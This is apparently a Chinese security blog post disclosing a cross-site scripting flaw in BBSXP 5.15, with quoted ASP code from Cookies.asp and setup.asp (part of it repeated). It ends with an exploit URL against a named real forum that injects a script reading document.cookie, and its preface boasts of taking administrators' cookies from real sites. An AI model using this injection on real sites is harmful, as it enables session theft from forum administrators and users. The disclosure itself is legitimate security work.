BBSXP5.15跨站攻击漏洞(图)

前言:在新云网站管理系统1.02出来的时候,他的留言本就存在跨站漏洞,我测试了黑客动画吧,还好没有开放留言本功能，然后又测试了黑软基地 居然可以成功利用,和新云官方网站都成功拿倒了管理元的cookies. 
想不到吧. 看来跨站不得不防范啊! 

BBSXP的漏洞近段时间闹得可火。现有的漏洞大家都见过了，就不说了。今晚无聊，看了看BBSXP 5.15最新版的几个文件代码，发现还是存在跨站攻击的漏洞。 
Cookies.asp文件，代码如下：  


〈%

select case Request("menu")

case "skins"

Response.Cookies("skins")=""&Request("no")&""

Response.Cookies("skins").Expires=date+365

url=Request.ServerVariables("http_referer")

if url〈〉empty and instr(url,"left.asp")=0 then

response.redirect url

else

response.write "〈SCRIPT〉location=’Default.asp’;〈/SCRIPT〉"

end if 

case "eremite"

Response.Cookies("eremite")="1"

Response.Cookies("eremite").Expires=date+365

response.redirect Request.ServerVariables("http_referer")

case "online"

Response.Cookies("eremite")="0"

Response.Cookies("eremite").Expires=date+365

response.redirect Request.ServerVariables("http_referer")

end select

%〉

对提交的 “no” 参数没做处理。再看setup.asp文件中：

if Request.Cookies("skins")=empty then Response.Cookies("skins")=style

dim ForumTreeList,toptrue

ii=0

startime=timer()

Set rs = Server.CreateObject("ADODB.Recordset")

Server.ScriptTimeout=Timeout ’设置脚本超时时间 单位:秒

response.write"〈html〉〈head〉〈meta http-equiv=Content-Type content=text/html;charset=gb2312〉〈/

head〉〈link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet〉〈script src=inc/B

BSxp.js〉〈/script〉〈script src=inc/ybb.js〉〈/script〉〈script src=images/skins/"&Request.Cookies("skin

s")&"/bbs.js〉〈/script〉"

对提交的 “no” 参数没做处理。再看setup.asp文件中： 

if Request.Cookies("skins")=empty then Response.Cookies("skins")=style 

dim ForumTreeList,toptrue 

ii=0 

startime=timer() 

Set rs = Server.CreateObject("ADODB.Recordset") 

Server.ScriptTimeout=Timeout ’设置脚本超时时间 单位:秒 

response.write"〈html〉〈head〉〈meta http-equiv=Content-Type content=text/html;charset=gb2312〉〈/head〉

〈link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet〉〈script src=inc/BBSxp.js〉

〈/script〉〈script src=inc/ybb.js〉〈/script〉〈script src=images/skins/"&Request.Cookies("skins")&"/bbs.js〉〈/script〉" 

对cookies提交的参数也没有作出处理就直接write成default.html输出了。这样，我们就可以构造论风格的参数 “no”中插入跨站脚本代码，进行跨站攻击，如构造这样的url：  

http://bbs.yuzi.net/cookies.asp?menu=skins&no=4〉〈script〉alert(document.cookie)〈/script〉〈script〉

结果如图：